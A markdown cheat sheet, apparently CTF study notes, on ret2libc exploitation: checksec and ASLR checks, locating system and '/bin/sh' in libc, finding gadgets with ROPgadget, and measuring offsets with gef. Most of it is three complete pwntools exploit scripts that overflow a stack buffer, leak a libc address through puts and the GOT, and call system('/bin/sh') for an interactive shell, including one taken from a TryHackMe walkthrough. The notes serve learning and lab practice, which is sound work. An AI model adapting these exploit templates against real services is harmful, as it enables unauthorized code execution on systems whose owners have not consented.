# Ret2libc

* [ir0nstone ret2libc](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc)

* Check binary via
    * `checksec`, PIE shows start address, RELRO shows permissions of r/w to got
    * `file`
* Libc is affected by ASLR state of the machine, check via `cat /proc/sys/kernel/randomize_va_space`
    * Off = 0
    * Partial = 1
    * Full = 2
* `got` contains dynamically loaded functions
* `plt` contains used loaded dynamical functions

## Finding something to execute
* Interesting stuff to call from inside libc
    * `/bin/sh`
    * `system`

## libc -- Finding Offsets 

* Find libc address at runtime via gbd
```sh
info sharedlibrary
```
or statically via ldd 
```sh
ldd ./<binary>
```

### Find offsets to gadgets in libc

* On target find `sh` address inside libc
```sh
strings -a -t x /lib32/libc.so.6 | grep /bin/sh
```
* Sub from `system` address from inside libc
```sh
readelf -s /lib32/libc.so.6 | grep system |  awk '{print $2}'
```

* Pwntools can be used as well
```sh
libc = elf.libc
libc.address = 0x7ff83d8d000
system = libc.sym['system']
bin_sh = next(libc.search(b'/bin/sh'))
```

### Measure the Buffer
* With gef
    * `pattern create`
    * `run`
    * Use pattern
    * `pattern search $<register>`

## ROP -- Creating a Chain

* Creating a ROP chain to execute the `/bin/sh` with parameters
* Check
    * Architecture
    * Calling convention

### Manually

```sh
ROPgadget --binary <file> | grep rdi
```
* Find `ret`s, to put in front of rdi
```sh
objdump -d <file> | grep ret
```

## Automated 

* [xct's ropstar](https://github.com/xct/ropstar.git)

## Examples 

### Example without ASLR

```python
from pwn import *

p = process('<binary>')

cbase = 0x<libc_base>
sys = cbase + <libc_system>
sh = cbase + <libc_shell>
rop_rdi = <found rop rdi>
rop_ret = <found rop ret>

payload =  b'A' * <count>
payload += b'B' * 8
payload += p64(rop_rdi)
payload += p64(sh)
payload += p64(0x0) # maybe rop_ret
payload += p64(system)

p.recv()
p.sendline(payload)
p.interactive()
```

### Example with ASLR

* Create context
```python
#!/usr/bin/env python3

from pwn import *

context.binary = binary = '<binary>'
elf = ELF(binary)
rop = ROP(elf)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process()

# ROP I, needed when ASLR is enabled
payload =  b'A' * 18
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(elf.got.gets)
payload += p64(elf.plt.puts)
payload += p64(elf.symbols.main)

p.recvline()
p.sendline(payload)
p.recvline()
leak = u64(p.recvline().strip().ljust(8,b'\0')) # ljust, pre padding for alignement
p.recvline()

log.info(f"gets: {hex(leak)}")
libc.address = leak - libc.symbols.gets
log.info(f"libc address: {hex(libc.address)}")  # start address should be aligned

# ROP II
payload = b'A' * 18
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(libc.symbols.system)

p.sendline(payload)
p.recvline()
p.interactive()
```

### Example: exploit_me

This is taken from [shoulderhu's gitbook](https://github.com/shoulderhu/gitbook-tryhackme/blob/master/walkthroughs/medium/ret2libc.md)
The libc base is found through a delta of the leaked value and libc gets symbol offset.


```python
from pwn import *

context.binary = binary = './exploit_me'
elf = ELF(binary)
rop = ROP(elf)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

padding = b'A' * 18
payload = padding
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(elf.got.gets)
payload += p64(elf.plt.puts)
payload += p64(elf.symbols.main)

p = process()
p.recvline()
p.sendline(payload)
p.recvline()
leak = u64(p.recvline().strip().ljust(8, b'\0'))
p.recvline()

log.info(f'Gets leak => {hex(leak)}')
libc.address = leak - libc.symbols.gets
log.info(f'Libc base => {hex(libc.address)}')

payload = padding
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(libc.symbols.system)

p.sendline(payload)
p.recvline()
p.interactive()
```
